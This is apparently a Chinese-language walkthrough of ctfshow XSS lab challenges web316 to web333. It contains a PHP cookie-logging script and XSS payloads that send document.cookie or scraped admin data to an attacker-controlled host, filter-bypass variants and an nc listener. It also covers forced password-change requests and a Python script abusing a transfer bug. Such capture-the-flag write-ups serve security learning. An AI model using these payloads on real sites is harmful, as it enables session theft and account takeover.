web316-web333XSS篇

提前准备

准备几个XSS注入网站:
https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接
当然,除此之外,也可以自己编写:

1
2
3
4
5
6
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

web316

后台bot会自动访问你的连接,我们只需要写一段恶意XSS内容即可。
这里用https://xss.pt/进行复现。
注册好后,创建项目之后,把获取cookie添加上。
image.png
image.png
好像抓到的是自己🤔。
那就试一试写在自己的VPS上。

1
2
3
4
5
6
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

payload:<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>
传入就可以得到需要的flag了:
image.png

web317

过滤了script,随便换一个标签名称就行了,比如input:

1
<input onfocus="window.open('http://natro92.top/xss.php?cookie='+document.cookie)" autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

其他接入方法

其他的方法:

1
2
3
4
<svg onload="window.open('http://ip/'+document.cookie)">
<iframe onload="window.open('http://ip/'+document.cookie)"></iframe>
<body onload="window.open('http://ip/'+document.cookie)">

用上面这种方法直接用nc接就行,或者python的服务器。

1
python3 -m http.server 39543

注意这里有一个小坑,我最开始测试,无论nc还是什么都是不行的,想了一下才想起来,vps是有防火墙的,如果你没有在阿里云或者其他云平台开放端口是打不进来的。

同理,使用nc也是可以达到效果的:

1
nc -vlp 8888

payload也就可以简便为:

1
<input onfocus="window.open('http://xxx/'+document.cookie)" autofocus>

可能慢一点,多刷新。
既然如此,dnslog估计也是可以用的。
image.png

web318-319

1
<input onfocus="window.open('http://xxx/'+document.cookie)" autofocus>

web320-web326

过滤掉了空格

绕过方法:

  • TAB
  • /
  • /**/

payload:

1
<input/**/onfocus="window.open('http://xxx/'+document.cookie)"/**/autofocus>

image.png

web327

存储型XSS,还是用之前payload。
image.png
这里需要给admin发信息,意思大概是获取admin的cookie。

web328

有个登录页面,但是登不上去,旁边有个注册,注册的用户管理用户名会被管理员检测到。因此将payload放入用户名中。
虽然没有flag,但是有cookie,尝试登录一下。
image.png
PHPSESSID=7e8jf9pathne9tvgnb02kvj4h9
在hackbar中传入的cookie是临时的而且没有删除掉本地的cookie,我们需要写到存储中,并删除掉原有cookie值:
image.png
然后就能看到cookie了。
image.png

web329

直接用之前的方法,得到的cookie是前一次的cookie(管理员打开之后立即退出了登录),cookie刷新了,也就失效了。
那直接写段js,使其执行时获取到页面的其他显示密码即可(因为管理员页面是显示密码的。)。

1
2
3
4
5
6
document.querySelectorAll('.laytable-cell-1-0-1').forEach(cell => {
if (cell.textContent.startsWith('ctfshow{')) {
console.log(cell.textContent);
window.open('http://xxx:8888/'+cell.textContent)
}
});

这时候我们注册测试一下。
为什么会没接到呢。
试一试wp的写法:

1
2
3
4
5
<script>$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show')>-1){
window.location.href='http://ip/a.php?cookie='+value.innerHTML;
}
});</script>

怪了,这种就可以传上去:
image.png
这里面有文本干扰,所以在末尾添加一个{来定向获取flag。
也就是:

1
2
3
4
5
<script>$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show{')>-1){
window.location.href='http://xxx:8888/'+value.innerHTML;
}
});</script>

这时就能得到flag了。
image.png

web330

多了一个修改密码,直接让管理员修改密码即可。查看访问格式:
image.png

1
<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>

image.png
注意,当登录之后访问页面之后就会发现会跳转到修改的页面,手速快点复制下来。

web331

与上题类似,但是这里使用的是post:
image.png
修改一下payload即可:

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'admin'}});</script>

web332

为什么给admin转-99999就变成正的了,有点摸不到头脑
image.png

web333

自己给自己转可以加钱,什么虚空科技。直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'} #自己登录后的sessionid
while True:
print(x)
t=x-1
data={
'u':'user', #注册的用户名
'a':str(t)
}
r=requests.post(url,headers=headers,data=data)
print(r.text)
if(x>10000):
r2=requests.get(url2,headers=headers)
print(r2.text)
break
x+=t

image.png